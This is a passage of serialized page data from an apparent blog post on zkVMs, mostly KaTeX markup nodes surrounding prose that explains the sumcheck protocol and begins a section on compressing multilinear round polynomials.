0677},[6377],"height:0.3173em;",[110679],{"type":23,"tag":230,"props":110680,"children":110682},{"style":110681},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[110683,110688],{"type":23,"tag":230,"props":110684,"children":110687},{"className":110685,"style":110686},[6386],"height:2.5em;",[],{"type":23,"tag":230,"props":110689,"children":110693},{"className":110690},[6392,110691,110692,6395],"reset-size3","size1",[110694],{"type":23,"tag":230,"props":110695,"children":110697},{"className":110696},[6345,6395],[110698],{"type":29,"value":6348},{"type":23,"tag":230,"props":110700,"children":110702},{"className":110701},[24059],[110703],{"type":29,"value":24062},{"type":23,"tag":230,"props":110705,"children":110707},{"className":110706},[6372],[110708],{"type":23,"tag":230,"props":110709,"children":110712},{"className":110710,"style":110711},[6377],"height:0.143em;",[110713],{"type":23,"tag":230,"props":110714,"children":110715},{},[],{"type":23,"tag":230,"props":110717,"children":110719},{"className":110718},[6529,6395],[110720],{"type":29,"value":24009},{"type":23,"tag":230,"props":110722,"children":110724},{"className":110723},[24031,6395],[110725],{"type":29,"value":78397},{"type":23,"tag":230,"props":110727,"children":110729},{"className":110728},[6345,6395],[110730],{"type":29,"value":6358},{"type":23,"tag":230,"props":110732,"children":110734},{"className":110733},[6458,6395],[110735],{"type":29,"value":6461},{"type":23,"tag":230,"props":110737,"children":110739},{"className":110738},[6345,6395],[110740],{"type":29,"value":6348},{"type":23,"tag":230,"props":110742,"children":110744},{"className":110743},[24053,6395],[110745],{"type":29,"value":642},{"type":23,"tag":230,"props":110747,"children":110749},{"className":110748},[24059],[110750],{"type":29,"value":24062},{"type":23,"tag":230,"props":110752,"children":110754},{"className":110753},[6372],[110755],{"type":23,"tag":230,"props":110756,"children":110758},{"className":110757,"style":24070},[6377],[110759],{"type":23,"tag":230,"props":110760,"children":110761},{},[],{"type":23,"tag":230,"props":110763,"children":110765},{"className":110764,"style":6465},[6426],[],{"type":23,"tag":230,"props":110767,"children":110769},{"className":110768},[23938],[110770,110775],{"type":23,"tag":230,"props":110771,"children":110773},{"className":110772,"style":23945},[23938,23943,23944],[110774],{"type":29,"value":110621},{"type":23,"tag":230,"props":110776,"children":110778},{"className":110777},[6362],[110779],{"type":23,"tag":230,"props":110780,"children":110782},{"className":110781},[6367,23956],[110783,110898],{"type":23,"tag":230,"props":110784,"children":110786},{"className":110785},[6372],[110787,110893],{"type":23,"tag":230,"props":110788,"children":110790},{"className":110789,"style":23965},[6377],[110791],{"type":23,"tag":230,"props":110792,"children":110793},{"style":23969},[110794,110798],{"type":23,"tag":230,"props":110795,"children":110797},{"className":110796,"style":6387},[6386],[],{"type":23,"tag":230,"props":110799,"children":110801},{"className":110800},[6392,6393,6394,6395],[110802],{"type":23,"tag":230,"props":110803,"children":110805},{"className":110804},[6345,6395],[110806,110863,110868,110873,110878,110883,110888],{"type":23,"tag":230,"props":110807,"children":110809},{"className":110808},[6345,6395],[110810,110815],{"type":23,"tag":230,"props":110811,"children":110813},{"className":110812},[6345,23902,6395],[110814],{"type":29,"value":4511},{"type":23,"tag":230,"props":110816,"children":110818},{"className":110817},[6362],[110819],{"type":23,"tag":230,"props":110820,"children":110822},{"className":110821},[6367,23956],[110823,110852],{"type":23,"tag":230,"props":110824,"children":110826},{"className":110825},[6372],[110827,110847],{"type":23,"tag":230,"props":110828,"children":110830},{"className":110829,"style":110677},[6377],[110831],{"type":23,"tag":230,"props":110832,"children":110833},{"style":110681},[110834,110838],{"type":23,"tag":230,"props":110835,"children":110837},{"className":110836,"style":110686},[6386],[],{"type":23,"tag":230,"props":110839,"children":110841},{"className":110840},[6392,110691,110692,6395],[110842],{"type":23,"tag":230,"props":110843,"children":110845},{"className":110844},[6345,6395],[110846],{"type":29,"value":5462},{"type":23,"tag":230,"props":110848,"children":110850},{"className":110849},[24059],[110851],{"type":29,"value":24062},{"type":23,"tag":230,"props":110853,"children":110855},{"className":110854},[6372],[110856],{"type":23,"tag":230,"props":110857,"children":110859},{"className":110858,"style":110711},[6377],[110860],{"type":23,"tag":230,"props":110861,"children":110862},{},[],{"type":23,"tag":230,"props":110864,"children":110866},{"className":110865},[6529,6395],[110867],{"type":29,"value":24009},{"type":23,"tag":230,"props":110869,"children":110871},{"className":110870},[24031,6395],[110872],{"type":29,"value":78397},{"type":23,"tag":230,"props":110874,"children":110876},{"className":110875},[6345,6395],[110877],{"type":29,"value":6358},{"type":23,"tag":230,"props":110879,"children":110881},{"className":110880},[6458,6395],[110882],{"type":29,"value":6461},{"type":23,"tag":230,"props":110884,"children":110886},{"className":110885},[6345,6395],[110887],{"type":29,"value":6348},{"type":23,"tag":230,"props":110889,"children":110891},{"className":110890},[24053,6395],[110892],{"type":29,"value":642},{"type":23,"tag":230,"props":110894,"children":110896},{"className":110895},[24059],[110897],{"type":29,"value":24062},{"type":23,"tag":230,"props":110899,"children":110901},{"className":110900},[6372],[110902],{"type":23,"tag":230,"props":110903,"children":110905},{"className":110904,"style":24070},[6377],[110906],{"type":23,"tag":230,"props":110907,"children":110908},{},[],{"type":23,"tag":230,"props":110910,"children":110912},{"className":110911,"style":6465},[6426],[],{"type":23,"tag":230,"props":110914,"children":110917},{"className":110915},[110916],"minner",[110918],{"type":29,"value":110919},"⋯",{"type":23,"tag":230,"props":110921,"children":110923},{"className":110922,"style":6465},[6426],[],{"type":23,"tag":230,"props":110925,"children":110927},{"className":110926},[23938],[110928,110933],{"type":23,"tag":230,"props":110929,"children":110931},{"className":110930,"style":23945},[23938,23943,23944],[110932],{"type":29,"value":110621},{"type":23,"tag":230,"props":110934,"children":110936},{"className":110935},[6362],[110937],{"type":23,"tag":230,"props":110938,"children":110940},{"className":110939},[6367,23956],[110941,111057],{"type":23,"tag":230,"props":110942,"children":110944},{"className":110943},[6372],[110945,111052],{"type":23,"tag":230,"props":110946,"children":110948},{"className":110947,"style":23965},[6377],[110949],{"type":23,"tag":230,"props":110950,"children":110951},{"style":23969},[110952,110956],{"type":23,"tag":230,"props":110953,"children":110955},{"className":110954,"style":6387},[6386],[],{"type":23,"tag":230,"props":110957,"children":110959},{"className":110958},[6392,6393,6394,6395],[110960],{"type":23,"tag":230,"props":110961,"children":110963},{"className":110962},[6345,6395],[110964,111022,111027,111032,111037,111042,111047],{"type":23,"tag":230,"props":110965,"children":110967},{"className":110966},[6345,6395],[110968,110973],{"type":23,"tag":230,"props":110969,"children":110971},{"className":110970},[6345,23902,6395],[110972],{"type":29,"value":4511},{"type":23,"tag":230,"props":110974,"children":110976},{"className":110975},[6362],[110977],{"type":23,"tag":230,"props":110978,"children":110980},{"className":110979},[6367,23956],[110981,111011],{"type":23,"tag":230,"props":110982,"children":110984},{"className":110983},[6372],[110985,111006],{"type":23,"tag":230,"props":110986,"children":110989},{"className":110987,"style":110988},[6377],"height:0.1645em;",[110990],{"type":23,"tag":230,"props":110991,"children":110992},{"style":110681},[110993,110997],{"type":23,"tag":230,"props":110994,"children":110996},{"className":110995,"style":110686},[6386],[],{"type":23,"tag":230,"props":110998,"children":111000},{"className":110999},[6392,110691,110692,6395],[111001],{"type":23,"tag":230,"props":111002,"children":111004},{"className":111003},[6345,23902,6395],[111005],{"type":29,"value":58177},{"type":23,"tag":230,"props":111007,"children":111009},{"className":111008},[24059],[111010],{"type":29,"value":24062},{"type":23,"tag":230,"props":111012,"children":111014},{"className":111013},[6372],[111015],{"type":23,"tag":230,"props":111016,"children":111018},{"className":111017,"style":110711},[6377],[111019],{"type":23,"tag":230,"props":111020,"children":111021},{},[],{"type":23,"tag":230,"props":111023,"children":111025},{"className":111024},[6529,6395],[111026],{"type":29,"value":24009},{"type":23,"tag":230,"props":111028,"children":111030},{"className":111029},[24031,6395],[111031],{"type":29,"value":78397},{"type":23,"tag":230,"props":111033,"children":111035},{"className":111034},[6345,6395],[111036],{"type":29,"value":6358},{"type":23,"tag":230,"props":111038,"children":111040},{"className":111039},[6458,6395],[111041],{"type":29,"value":6461},{"type":23,"tag":230,"props":111043,"children":111045},{"className":111044},[6345,6395],[111046],{"type":29,"value":6348},{"type":23,"tag":230,"props":111048,"children":111050},{"className":111049},[24053,6395],[111051],{"type":29,"value":642},{"type":23,"tag":230,"props":111053,"children":111055},{"className":111054},[24059],[111056],{"type":29,"value":24062},{"type":23,"tag":230,"props":111058,"children":111060},{"className":111059},[6372],[111061],{"type":23,"tag":230,"props":111062,"children":111064},{"className":111063,"style":24070},[6377],[111065],{"type":23,"tag":230,"props":111066,"children":111067},{},[],{"type":23,"tag":230,"props":111069,"children":111071},{"className":111070,"style":6465},[6426],[],{"type":23,"tag":230,"props":111073,"children":111075},{"className":111074,"style":95312},[6345,23902],[111076],{"type":29,"value":111077},"g",{"type":23,"tag":230,"props":111079,"children":111081},{"className":111080},[24031],[111082],{"type":29,"value":302},{"type":23,"tag":230,"props":111084,"children":111086},{"className":111085},[6345],[111087,111092],{"type":23,"tag":230,"props":111088,"children":111090},{"className":111089},[6345,23902],[111091],{"type":29,"value":4511},{"type":23,"tag":230,"props":111093,"children":111095},{"className":111094},[6362],[111096],{"type":23,"tag":230,"props":111097,"children":111099},{"className":111098},[6367,23956],[111100,111129],{"type":23,"tag":230,"props":111101,"children":111103},{"className":111102},[6372],[111104,111124],{"type":23,"tag":230,"props":111105,"children":111107},{"className":111106,"style":94878},[6377],[111108],{"type":23,"tag":230,"props":111109,"children":111110},{"style":94882},[111111,111115],{"type":23,"tag":230,"props":111112,"children":111114},{"className":111113,"style":6387},[6386],[],{"type":23,"tag":230,"props":111116,"children":111118},{"className":111117},[6392,6393,6394,6395],[111119],{"type":23,"tag":230,"props":111120,"children":111122},{"className":111121},[6345,6395],[111123],{"type":29,"value":6348},{"type":23,"tag":230,"props":111125,"children":111127},{"className":111126},[24059],[111128],{"type":29,"value":24062},{"type":23,"tag":230,"props":111130,"children":111132},{"className":111131},[6372],[111133],{"type":23,"tag":230,"props":111134,"children":111136},{"className":111135,"style":94909},[6377],[111137],{"type":23,"tag":230,"props":111138,"children":111139},{},[],{"type":23,"tag":230,"props":111141,"children":111143},{"className":111142},[6458],[111144],{"type":29,"value":6461},{"type":23,"tag":230,"props":111146,"children":111148},{"className":111147,"style":6465},[6426],[],{"type":23,"tag":230,"props":111150,"children":111152},{"className":111151},[6345],[111153,111158],{"type":23,"tag":230,"props":111154,"children":111156},{"className":111155},[6345,23902],[111157],{"type":29,"value":4511},{"type":23,"tag":230,"props":111159,"children":111161},{"className":111160},[6362],[111162],{"type":23,"tag":230,"props":111163,"children":111165},{"className":111164},[6367,23956],[111166,111195],{"type":23,"tag":230,"props":111167,"children":111169},{"className":111168},[6372],[111170,111190],{"type":23,"tag":230,"props":111171,"children":111173},{"className":111172,"style":94878},[6377],[111174],{"type":23,"tag":230,"props":111175,"children":111176},{"style":94882},[111177,111181],{"type":23,"tag":230,"props":111178,"children":111180},{"className":111179,"style":6387},[6386],[],{"type":23,"tag":230,"props":111182,"children":111184},{"className":111183},[6392,6393,6394,6395],[111185],{"type":23,"tag":230,"props":111186,"children":111188},{"className":111187},[6345,6395],[111189],{"type":29,"value":5462},{"type":23,"tag":230,"props":111191,"children":111193},{"className":111192},[24059],[111194],{"type":29,"value":24062},{"type":23,"tag":230,"props":111196,"children":111198},{"className":111197},[6372],[111199],{"type":23,"tag":230,"props":111200,"children":111202},{"className":111201,"style":94909},[6377],[111203],{"type":23,"tag":230,"props":111204,"children":111205},{},[],{"type":23,"tag":230,"props":111207,"children":111209},{"className":111208},[6458],[111210],{"type":29,"value":6461},{"type":23,"tag":230,"props":111212,"children":111214},{"className":111213,"style":6465},[6426],[],{"type":23,"tag":230,"props":111216,"children":111218},{"className":111217},[110916],[111219],{"type":29,"value":111220},"…",{"type":23,"tag":230,"props":111222,"children":111224},{"className":111223,"style":6465},[6426],[],{"type":23,"tag":230,"props":111226,"children":111228},{"className":111227},[6458],[111229],{"type":29,"value":6461},{"type":23,"tag":230,"props":111231,"children":111233},{"className":111232,"style":6465},[6426],[],{"type":23,"tag":230,"props":111235,"children":111237},{"className":111236},[6345],[111238,111243],{"type":23,"tag":230,"props":111239,"children":111241},{"className":111240},[6345,23902],[111242],{"type":29,"value":4511},{"type":23,"tag":230,"props":111244,"children":111246},{"className":111245},[6362],[111247],{"type":23,"tag":230,"props":111248,"children":111250},{"className":111249},[6367,23956],[111251,111281],{"type":23,"tag":230,"props":111252,"children":111254},{"className":111253},[6372],[111255,111276],{"type":23,"tag":230,"props":111256,"children":111259},{"className":111257,"style":111258},[6377],"height:0.1514em;",[111260],{"type":23,"tag":230,"props":111261,"children":111262},{"style":94882},[111263,111267],{"type":23,"tag":230,"props":111264,"children":111266},{"className":111265,"style":6387},[6386],[],{"type":23,"tag":230,"props":111268,"children":111270},{"className":111269},[6392,6393,6394,6395],[111271],{"type":23,"tag":230,"props":111272,"children":111274},{"className":111273},[6345,23902,6395],[111275],{"type":29,"value":58177},{"type":23,"tag":230,"props":111277,"children":111279},{"className":111278},[24059],[111280],{"type":29,"value":24062},{"type":23,"tag":230,"props":111282,"children":111284},{"className":111283},[6372],[111285],{"type":23,"tag":230,"props":111286,"children":111288},{"className":111287,"style":94909},[6377],[111289],{"type":23,"tag":230,"props":111290,"children":111291},{},[],{"type":23,"tag":230,"props":111293,"children":111295},{"className":111294},[24053],[111296],{"type":29,"value":5467},{"type":23,"tag":32,"props":111298,"children":111299},{},[111300,111302,111363],{"type":29,"value":111301},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":71,"props":111303,"children":111305},{"className":111304},[6318,6319],[111306],{"type":23,"tag":230,"props":111307,"children":111309},{"className":111308},[6324],[111310],{"type":23,"tag":230,"props":111311,"children":111313},{"className":111312,"ariaHidden":1726},[6329],[111314],{"type":23,"tag":230,"props":111315,"children":111317},{"className":111316},[6334],[111318,111322],{"type":23,"tag":230,"props":111319,"children":111321},{"className":111320,"style":110543},[6339],[],{"type":23,"tag":230,"props":111323,"children":111325},{"className":111324},[6345],[111326,111331],{"type":23,"tag":230,"props":111327,"children":111329},{"className":111328},[6345],[111330],{"type":29,"value":5462},{"type":23,"tag":230,"props":111332,"children":111334},{"className":111333},[6362],[111335],{"type":23,"tag":230,"props":111336,"children":111338},{"className":111337},[6367],[111339],{"type":23,"tag":230,"props":111340,"children":111342},{"className":111341},[6372],[111343],{"type":23,"tag":230,"props":111344,"children":111346},{"className":111345,"style":110543},[6377],[111347],{"type":23,"tag":230,"props":111348,"children":111349},{"style":6381},[111350,111354],{"type":23,"tag":230,"props":111351,"children":111353},{"className":111352,"style":6387},[6386],[],{"type":23,"tag":230,"props":111355,"children":111357},{"className":111356},[6392,6393,6394,6395],[111358],{"type":23,"tag":230,"props":111359,"children":111361},{"className":111360},[6345,23902,6395],[111362],{"type":29,"value":58177},{"type":29,"value":111364}," evaluations. This is exponentially expensive.",{"type":23,"tag":32,"props":111366,"children":111367},{},[111368,111370,111375],{"type":29,"value":111369},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":2302,"props":111371,"children":111372},{},[111373],{"type":29,"value":111374},"only one",{"type":29,"value":312},{"type":23,"tag":32,"props":111377,"children":111378},{},[111379],{"type":23,"tag":93,"props":111380,"children":111383},{"alt":111381,"src":111382},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":32,"props":111385,"children":111386},{},[111387,111389,111481,111483,111668,111670,111695,111697,111775,111777,111856],{"type":29,"value":111388},"In each round, the prover must send a polynomial ",{"type":23,"tag":71,"props":111390,"children":111392},{"className":111391},[6318,6319],[111393],{"type":23,"tag":230,"props":111394,"children":111396},{"className":111395},[6324],[111397],{"type":23,"tag":230,"props":111398,"children":111400},{"className":111399,"ariaHidden":1726},[6329],[111401],{"type":23,"tag":230,"props":111402,"children":111404},{"className":111403},[6334],[111405,111409,111466,111471,111476],{"type":23,"tag":230,"props":111406,"children":111408},{"className":111407,"style":6447},[6339],[],{"type":23,"tag":230,"props":111410,"children":111412},{"className":111411},[6345],[111413,111418],{"type":23,"tag":230,"props":111414,"children":111416},{"className":111415,"style":95312},[6345,23902],[111417],{"type":29,"value":111077},{"type":23,"tag":230,"props":111419,"children":111421},{"className":111420},[6362],[111422],{"type":23,"tag":230,"props":111423,"children":111425},{"className":111424},[6367,23956],[111426,111455],{"type":23,"tag":230,"props":111427,"children":111429},{"className":111428},[6372],[111430,111450],{"type":23,"tag":230,"props":111431,"children":111433},{"className":111432,"style":95355},[6377],[111434],{"type":23,"tag":230,"props":111435,"children":111436},{"style":95359},[111437,111441],{"type":23,"tag":230,"props":111438,"children":111440},{"className":111439,"style":6387},[6386],[],{"type":23,"tag":230,"props":111442,"children":111444},{"className":111443},[6392,6393,6394,6395],[111445],{"type":23,"tag":230,"props":111446,"children":111448},{"className":111447},[6345,23902,6395],[111449],{"type":29,"value":6074},{"type":23,"tag":230,"props":111451,"children":111453},{"className":111452},[24059],[111454],{"type":29,"value":24062},{"type":23,"tag":230,"props":111456,"children":111458},{"className":111457},[6372],[111459],{"type":23,"tag":230,"props":111460,"children":111462},{"className":111461,"style":94909},[6377],[111463],{"type":23,"tag":230,"props":111464,"children":111465},{},[],{"type":23,"tag":230,"props":111467,"children":111469},{"className":111468},[24031],[111470],{"type":29,"value":302},{"type":23,"tag":230,"props":111472,"children":111474},{"className":111473,"style":96846},[6345,23902],[111475],{"type":29,"value":8470},{"type":23,"tag":230,"props":111477,"children":111479},{"className":111478},[24053],[111480],{"type":29,"value":5467},{"type":29,"value":111482}," such that ",{"type":23,"tag":71,"props":111484,"children":111486},{"className":111485},[6318,6319],[111487],{"type":23,"tag":230,"props":111488,"children":111490},{"className":111489},[6324],[111491],{"type":23,"tag":230,"props":111492,"children":111494},{"className":111493,"ariaHidden":1726},[6329],[111495,111588],{"type":23,"tag":230,"props":111496,"children":111498},{"className":111497},[6334],[111499,111503,111560,111565,111570,111575,111579,111584],{"type":23,"tag":230,"props":111500,"children":111502},{"className":111501,"style":6447},[6339],[],{"type":23,"tag":230,"props":111504,"children":111506},{"className":111505},[6345],[111507,111512],{"type":23,"tag":230,"props":111508,"children":111510},{"className":111509,"style":95312},[6345,23902],[111511],{"type":29,"value":111077},{"type":23,"tag":230,"props":111513,"children":111515},{"className":111514},[6362],[111516],{"type":23,"tag":230,"props":111517,"children":111519},{"className":111518},[6367,23956],[111520,111549],{"type":23,"tag":230,"props":111521,"children":111523},{"className":111522},[6372],[111524,111544],{"type":23,"tag":230,"props":111525,"children":111527},{"className":111526,"style":95355},[6377],[111528],{"type":23,"tag":230,"props":111529,"children":111530},{"style":95359},[111531,111535],{"type":23,"tag":230,"props":111532,"children":111534},{"className":111533,"style":6387},[6386],[],{"type":23,"tag":230,"props":111536,"children":111538},{"className":111537},[6392,6393,6394,6395],[111539],{"type":23,"tag":230,"props":111540,"children":111542},{"className":111541},[6345,23902,6395],[111543],{"type":29,"value":6074},{"type":23,"tag":230,"props":111545,"children":111547},{"className":111546},[24059],[111548],{"type":29,"value":24062},{"type":23,"tag":230,"props":111550,"children":111552},{"className":111551},[6372],[111553],{"type":23,"tag":230,"props":111554,"children":111556},{"className":111555,"style":94909},[6377],[111557],{"type":23,"tag":230,"props":111558,"children":111559},{},[],{"type":23,"tag":230,"props":111561,"children":111563},{"className":111562},[24031],[111564],{"type":29,"value":302},{"type":23,"tag":230,"props":111566,"children":111568},{"className":111567},[6345],[111569],{"type":29,"value":6358},{"type":23,"tag":230,"props":111571,"children":111573},{"className":111572},[24053],[111574],{"type":29,"value":5467},{"type":23,"tag":230,"props":111576,"children":111578},{"className":111577,"style":6427},[6426],[],{"type":23,"tag":230,"props":111580,"children":111582},{"className":111581},[6432],[111583],{"type":29,"value":6719},{"type":23,"tag":230,"props":111585,"children":111587},{"className":111586,"style":6427},[6426],[],{"type":23,"tag":230,"props":111589,"children":111591},{"className":111590},[6334],[111592,111596,111653,111658,111663],{"type":23,"tag":230,"props":111593,"children":111595},{"className":111594,"style":6447},[6339],[],{"type":23,"tag":230,"props":111597,"children":111599},{"className":111598},[6345],[111600,111605],{"type":23,"tag":230,"props":111601,"children":111603},{"className":111602,"style":95312},[6345,23902],[111604],{"type":29,"value":111077},{"type":23,"tag":230,"props":111606,"children":111608},{"className":111607},[6362],[111609],{"type":23,"tag":230,"props":111610,"children":111612},{"className":111611},[6367,23956],[111613,111642],{"type":23,"tag":230,"props":111614,"children":111616},{"className":111615},[6372],[111617,111637],{"type":23,"tag":230,"props":111618,"children":111620},{"className":111619,"style":95355},[6377],[111621],{"type":23,"tag":230,"props":111622,"children":111623},{"style":95359},[111624,111628],{"type":23,"tag":230,"props":111625,"children":111627},{"className":111626,"style":6387},[6386],[],{"type":23,"tag":230,"props":111629,"children":111631},{"className":111630},[6392,6393,6394,6395],[111632],{"type":23,"tag":230,"props":111633,"children":111635},{"className":111634},[6345,23902,6395],[111636],{"type":29,"value":6074},{"type":23,"tag":230,"props":111638,"children":111640},{"className":111639},[24059],[111641],{"type":29,"value":24062},{"type":23,"tag":230,"props":111643,"children":111645},{"className":111644},[6372],[111646],{"type":23,"tag":230,"props":111647,"children":111649},{"className":111648,"style":94909},[6377],[111650],{"type":23,"tag":230,"props":111651,"children":111652},{},[],{"type":23,"tag":230,"props":111654,"children":111656},{"className":111655},[24031],[111657],{"type":29,"value":302},{"type":23,"tag":230,"props":111659,"children":111661},{"className":111660},[6345],[111662],{"type":29,"value":6348},{"type":23,"tag":230,"props":111664,"children":111666},{"className":111665},[24053],[111667],{"type":29,"value":5467},{"type":29,"value":111669}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":71,"props":111671,"children":111673},{"className":111672},[6318,6319],[111674],{"type":23,"tag":230,"props":111675,"children":111677},{"className":111676},[6324],[111678],{"type":23,"tag":230,"props":111679,"children":111681},{"className":111680,"ariaHidden":1726},[6329],[111682],{"type":23,"tag":230,"props":111683,"children":111685},{"className":111684},[6334],[111686,111690],{"type":23,"tag":230,"props":111687,"children":111689},{"className":111688,"style":23897},[6339],[],{"type":23,"tag":230,"props":111691,"children":111693},{"className":111692,"style":95060},[6345,23902],[111694],{"type":29,"value":95063},{"type":29,"value":111696},", then they must lie about ",{"type":23,"tag":71,"props":111698,"children":111700},{"className":111699},[6318,6319],[111701],{"type":23,"tag":230,"props":111702,"children":111704},{"className":111703},[6324],[111705],{"type":23,"tag":230,"props":111706,"children":111708},{"className":111707,"ariaHidden":1726},[6329],[111709],{"type":23,"tag":230,"props":111710,"children":111712},{"className":111711},[6334],[111713,111718],{"type":23,"tag":230,"props":111714,"children":111717},{"className":111715,"style":111716},[6339],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":111719,"children":111721},{"className":111720},[6345],[111722,111727],{"type":23,"tag":230,"props":111723,"children":111725},{"className":111724,"style":95312},[6345,23902],[111726],{"type":29,"value":111077},{"type":23,"tag":230,"props":111728,"children":111730},{"className":111729},[6362],[111731],{"type":23,"tag":230,"props":111732,"children":111734},{"className":111733},[6367,23956],[111735,111764],{"type":23,"tag":230,"props":111736,"children":111738},{"className":111737},[6372],[111739,111759],{"type":23,"tag":230,"props":111740,"children":111742},{"className":111741,"style":95355},[6377],[111743],{"type":23,"tag":230,"props":111744,"children":111745},{"style":95359},[111746,111750],{"type":23,"tag":230,"props":111747,"children":111749},{"className":111748,"style":6387},[6386],[],{"type":23,"tag":230,"props":111751,"children":111753},{"className":111752},[6392,6393,6394,6395],[111754],{"type":23,"tag":230,"props":111755,"children":111757},{"className":111756},[6345,23902,6395],[111758],{"type":29,"value":6074},{"type":23,"tag":230,"props":111760,"children":111762},{"className":111761},[24059],[111763],{"type":29,"value":24062},{"type":23,"tag":230,"props":111765,"children":111767},{"className":111766},[6372],[111768],{"type":23,"tag":230,"props":111769,"children":111771},{"className":111770,"style":94909},[6377],[111772],{"type":23,"tag":230,"props":111773,"children":111774},{},[],{"type":29,"value":111776}," somewhere. But since the verifier picks a random ",{"type":23,"tag":71,"props":111778,"children":111780},{"className":111779},[6318,6319],[111781],{"type":23,"tag":230,"props":111782,"children":111784},{"className":111783},[6324],[111785],{"type":23,"tag":230,"props":111786,"children":111788},{"className":111787,"ariaHidden":1726},[6329],[111789],{"type":23,"tag":230,"props":111790,"children":111792},{"className":111791},[6334],[111793,111798],{"type":23,"tag":230,"props":111794,"children":111797},{"className":111795,"style":111796},[6339],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":111799,"children":111801},{"className":111800},[6345],[111802,111807],{"type":23,"tag":230,"props":111803,"children":111805},{"className":111804,"style":94826},[6345,23902],[111806],{"type":29,"value":95645},{"type":23,"tag":230,"props":111808,"children":111810},{"className":111809},[6362],[111811],{"type":23,"tag":230,"props":111812,"children":111814},{"className":111813},[6367,23956],[111815,111845],{"type":23,"tag":230,"props":111816,"children":111818},{"className":111817},[6372],[111819,111840],{"type":23,"tag":230,"props":111820,"children":111822},{"className":111821,"style":95355},[6377],[111823],{"type":23,"tag":230,"props":111824,"children":111826},{"style":111825},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111827,111831],{"type":23,"tag":230,"props":111828,"children":111830},{"className":111829,"style":6387},[6386],[],{"type":23,"tag":230,"props":111832,"children":111834},{"className":111833},[6392,6393,6394,6395],[111835],{"type":23,"tag":230,"props":111836,"children":111838},{"className":111837},[6345,23902,6395],[111839],{"type":29,"value":6074},{"type":23,"tag":230,"props":111841,"children":111843},{"className":111842},[24059],[111844],{"type":29,"value":24062},{"type":23,"tag":230,"props":111846,"children":111848},{"className":111847},[6372],[111849],{"type":23,"tag":230,"props":111850,"children":111852},{"className":111851,"style":94909},[6377],[111853],{"type":23,"tag":230,"props":111854,"children":111855},{},[],{"type":29,"value":111857},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":192,"props":111859,"children":111861},{"id":111860},"the-compression-trick",[111862],{"type":29,"value":111863},"The Compression Trick",{"type":23,"tag":32,"props":111865,"children":111866},{},[111867,111869,112019,112021,112301],{"type":29,"value":111868},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":71,"props":111870,"children":111872},{"className":111871},[6318,6319],[111873],{"type":23,"tag":230,"props":111874,"children":111876},{"className":111875},[6324],[111877],{"type":23,"tag":230,"props":111878,"children":111880},{"className":111879,"ariaHidden":1726},[6329],[111881,111974,112001],{"type":23,"tag":230,"props":111882,"children":111884},{"className":111883},[6334],[111885,111889,111946,111951,111956,111961,111965,111970],{"type":23,"tag":230,"props":111886,"children":111888},{"className":111887,"style":6447},[6339],[],{"type":23,"tag":230,"props":111890,"children":111892},{"className":111891},[6345],[111893,111898],{"type":23,"tag":230,"props":111894,"children":111896},{"className":111895,"style":95312},[6345,23902],[111897],{"type":29,"value":111077},{"type":23,"tag":230,"props":111899,"children":111901},{"className":111900},[6362],[111902],{"type":23,"tag":230,"props":111903,"children":111905},{"className":111904},[6367,23956],[111906,111935],{"type":23,"tag":230,"props":111907,"children":111909},{"className":111908},[6372],[111910,111930],{"type":23,"tag":230,"props":111911,"children":111913},{"className":111912,"style":95355},[6377],[111914],{"type":23,"tag":230,"props":111915,"children":111916},{"style":95359},[111917,111921],{"type":23,"tag":230,"props":111918,"children":111920},{"className":111919,"style":6387},[6386],[],{"type":23,"tag":230,"props":111922,"children":111924},{"className":111923},[6392,6393,6394,6395],[111925],{"type":23,"tag":230,"props":111926,"children":111928},{"className":111927},[6345,23902,6395],[111929],{"type":29,"value":6074},{"type":23,"tag":230,"props":111931,"children":111933},{"className":111932},[24059],[111934],{"type":29,"value":24062},{"type":23,"tag":230,"props":111936,"children":111938},{"className":111937},[6372],[111939],{"type":23,"tag":230,"props":111940,"children":111942},{"className":111941,"style":94909},[6377],[111943],{"type":23,"tag":230,"props":111944,"children":111945},{},[],{"type":23,"tag":230,"props":111947,"children":111949},{"className":111948},[24031],[111950],{"type":29,"value":302},{"type":23,"tag":230,"props":111952,"children":111954},{"className":111953,"style":96846},[6345,23902],[111955],{"type":29,"value":8470},{"type":23,"tag":230,"props":111957,"children":111959},{"className":111958},[24053],[111960],{"type":29,"value":5467},{"type":23,"tag":230,"props":111962,"children":111964},{"className":111963,"style":6524},[6426],[],{"type":23,"tag":230,"props":111966,"children":111968},{"className":111967},[6529],[111969],{"type":29,"value":863},{"type":23,"tag":230,"props":111971,"children":111973},{"className":111972,"style":6524},[6426],[],{"type":23,"tag":230,"props":111975,"children":111977},{"className":111976},[6334],[111978,111983,111988,111992,111997],{"type":23,"tag":230,"props":111979,"children":111982},{"className":111980,"style":111981},[6339],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":230,"props":111984,"children":111986},{"className":111985},[6345,23902],[111987],{"type":29,"value":181},{"type":23,"tag":230,"props":111989,"children":111991},{"className":111990,"style":6427},[6426],[],{"type":23,"tag":230,"props":111993,"children":111995},{"className":111994},[6432],[111996],{"type":29,"value":6719},{"type":23,"tag":230,"props":111998,"children":112000},{"className":111999,"style":6427},[6426],[],{"type":23,"tag":230,"props":112002,"children":112004},{"className":112003},[6334],[112005,112009,112014],{"type":23,"tag":230,"props":112006,"children":112008},{"className":112007,"style":94741},[6339],[],{"type":23,"tag":230,"props":112010,"children":112012},{"className":112011},[6345,23902],[112013],{"type":29,"value":5561},{"type":23,"tag":230,"props":112015,"children":112017},{"className":112016,"style":96846},[6345,23902],[112018],{"type":29,"value":8470},{"type":29,"value":112020}," has only two coefficients. Since the verifier knows 